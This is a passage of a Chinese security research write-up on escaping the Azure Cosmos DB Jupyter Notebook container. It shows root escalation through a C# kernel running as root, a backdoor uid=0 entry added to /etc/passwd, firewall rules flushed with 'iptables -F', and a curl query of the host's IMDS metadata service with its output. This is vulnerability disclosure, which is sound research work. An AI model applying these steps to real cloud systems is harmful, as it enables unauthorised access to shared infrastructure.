26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure Cosmos DB</p>实例带有一个嵌入式<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p>容器，这是一个开源<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Web</p>应用程序，允许创建和共享包含实时代码、方程式、可视化和叙述文本的文档. 基本上，这是一种使用代码表示数据的非常酷的方式。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5546296296296296" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=76055f8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhacCFt1x50aKzpg4s7zoDaOQjx9ibjGfS7z58GVVicJd0CnCLibXHvZxNA%2F640%3Fwx_fmt%3Dother"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;">Cosmos DB Jupyter Notebook，摘自微软官方文档</figcaption></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p>容器提供终端访问和供不同编程语言（<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Python、C#</p> 等）与 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p> 实例交互的接口。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>帐户的凭据已在容器映像的环境变量中预先配置，以便通过<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SDK</p>透明地使用和访问 。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>错误 #1：Jupyter Notebook 本地权限提升 (LPE)</span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们知道，根据设计，可以在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p>上执行任意代码。几分钟后，我们已经获得了<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p>权限。如何？</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">当我们使用嵌入式 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter</p>终端或默认的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Python3 Notebook</p>时，我们的代码是以<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">cosmosuser</p>身份执行. 服务开发人员的意图似乎是在此接口中任何代码都将以<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">cosmosuser</p>身份执行.</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2722222222222222" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=4d6a0753&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhCFjDj0ay70nFNOOEibcERFXBZcoEOBDr7ogqIzPic0761VA17YBaLGcw%2F640%3Fwx_fmt%3Dother"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;">以 cosmosuser 身份运行的 Python3 <p>notebook</p></figcaption></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">然而，当我们执行一些<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">C#</p>代码时，我们注意到它是以<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p>权限执行的。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">是的，我们也很惊讶。</p><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">似乎<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p>支持的每种编程语言都有自己的“宿主”进程，负责执行用户提供的代码，并将输出传达给<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Web-UI</p>。由于某些未知原因，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">C#</p> 的宿主进程特别以<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p>权限运行，这意味着任何<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">C#</p>代码也将以<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p>身份执行。我们使用这种错误配置来提升在容器内的权限：在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">/etc/passwd</p>文件中附加了一行，创建了一个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">uid=0</p>和<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">gid=0</p>的新用户，使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">su</p>命令切换到这个用户，并有效地被授予容器内的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p>权限。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2814814814814815" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=670c6eae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZh7J5ymmvKKkcNaOzicUc6PDbiblNulMy6LCT46ElP0FAyw933ReNOj4icg%2F640%3Fwx_fmt%3Dother"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;">使用 CSharp <p>notebook</p>执行提权有效负载</figcaption></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.49537037037037035" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ed92e1fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZheO7LI2KIdBnYiaJWCckQsEibBqHsiaFARxClGiaoeber8rGZCpXIAVju2A%2F640%3Fwx_fmt%3Dother"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;">/etc/passwd 执行提权有效负载后</figcaption></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.1648148148148148" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=82e2afcd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhWUENWxzqlric4iaGVMZyWGOQ0nnibGcmicRic8QAAMppy83QuNTyVMJwoYw%2F640%3Fwx_fmt%3Dother"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;">切换用户到添加的后门用户</figcaption></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>错误 #2：不受限制的网络访问</span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">iptables –F</p> 就是全部了。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在获得<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p>权限后，我们开始四处查看容器，除此之外，我们发出<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">iptables</p>命令来查看本地防火墙规则，以确定哪些可以访问，更有趣的是，哪些网络资源不能访问。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.45102040816326533" data-type="other" data-w="980" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7efb5a5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhn9EwKC9xzrwiaPTO7XXkADLIa2CYStbf0s5EHdrf1BrS1PR8ibbPOB2A%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">查看<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">iptables</p>规则，我们发现了这些所谓的禁止地址：</div><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">169.254.169.254, <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDS</p>元数据服务</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">10.0.0.0/16 子网，一个我们不熟悉的内部子网</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">168.63.129.16, 另一个陌生的 IP 地址</p></div></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><strong style="color: rgb(119, 48, 152);">为什么服务开发人员要配置这些特定的规则来阻止我们访问这些特定的IP地址？</strong> 这些防火墙规则是在容器上本地配置的,而我们当前以<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p>身份运行的。因此，我们只是删除了规则（通过<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">iptables -F</p>），为这些被禁止的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IP</p>地址和一些更有趣的发现扫清了道路。</div><blockquote data-tool="mdnice编辑器" style="border-top: none;border-bottom: none;font-size: 0.9em;overflow: auto;padding: 10px 10px 10px 20px;margin: 10px 5px;border-left-color: rgb(150, 84, 181);border-right: 1px solid rgb(150, 84, 181);color: rgb(97, 97, 97);quotes: none;background: rgb(251, 249, 253);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">需要指出的是，在我们看来，执行这些防火墙规则的更安全方法是在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p>容器之外，黑客即使拥有<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p>权限也无法绕过它们。</div></blockquote><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>错误 #3：不是我们应得的证书，而是我们需要的证书</span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在我们通过之前的两个错误（<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p> 本地提权和不受限制的网络访问）实现越狱之后，我们进行了一些网络侦察，访问之前禁止的 IP 地址。我们的看法是，如果开发人员明确试图阻止我们访问这些地址，那么我们绝对应该尝试访问它们。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>访问禁止的 IP 地址 #1 – IMDS</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">169.254.169.254 是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>元数据服务 (<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDS</p>)。该服务保存有关当前运行的虚拟机实例的元数据，例如存储、网络配置 等。只需发送一个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">HTTP</p>请求并获取每个虚拟机的唯一信息。我们发出了一个请求，并发现了一些有趣的事情：</div><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>环境设置为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AzurePublicCloud</p>，我们的订阅<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ID</p>不是我们拥有的订阅。</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">osType</p>设置为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows</p>，即使我们在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Linux</p>终端上运行<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Linux</p>命令。</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">10.0.0.0/16</p>子网中有一个 IP 地址——根据我们刚刚删除的防火墙规则，我们不应该访问同一个子网。</div></div></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">把这些放在一起，我们意识到我们不是在查询我们容器的元数据服务，而是我们的<strong style="color: rgb(119, 48, 152);">宿主机</strong>的元数据服务，它似乎托管在<strong style="color: rgb(119, 48, 152);">某种共享环境</strong> 中！</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">root@notebook:/home/cosmosuser<span style="color: #57A64A;font-style: italic;line-height: 26px;"># curl -s -H Metadata:true --noproxy &#34;*&#34; &#34;<a href="http://169.254.169.254/metadata/instance?api-version=2021-02-01" target="_blank">http://169.254.169.254/metadata/instance?api-version=2021-02-01</a>&#34; | jq</span> {  <span style="color: #D69D85;line-height: 26px;">&#34;compute&#34;</span>: {    <span style="color: #D69D85;line-height: 26px;">&#34;azEnvironment&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;AzurePublicCloud&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;customData&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;evictionPolicy&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;isHostCompatibilityLayerVm&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;false&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;licenseType&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;location&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;eastus&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;name&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;CV2CW02_3&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;offer&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;WindowsServer&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;osProfile&#34;</span>: {      <span style="color: #D69D85;line-height: 26px;">&#34;adminUsername&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;cosmosadmin&#34;</span>,      <span style="color: #D69D85;line-height: 26px;">&#34;computerName&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;CV2CW02000003&#34;</span>,      <span style="color: #D69D85;line-height: 26px;">&#34;disablePasswordAuthentication&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>    },    <span style="color: #D69D85;line-height: 26px;">&#34;osType&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;Windows&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;placementGroupId&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;[REDACTED]&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;plan&#34;</span>: {      <span style="color: #D69D85;line-height: 26px;">&#34;name&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>,      <span style="color: #D69D85;line-height: 26px;">&#34;product&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>,      <span style="color: #D69D85;line-height: 26px;">&#34;publisher&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>    },    <span style="color: #D69D85;line-height: 26px;">&#34;platformFaultDomain&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;3&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;platformUpdateDomain&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;3&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;priority&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;provider&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;Microsoft.Compute&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;publicKeys&#34;</span>: [],    <span style="color: #D69D85;line-height: 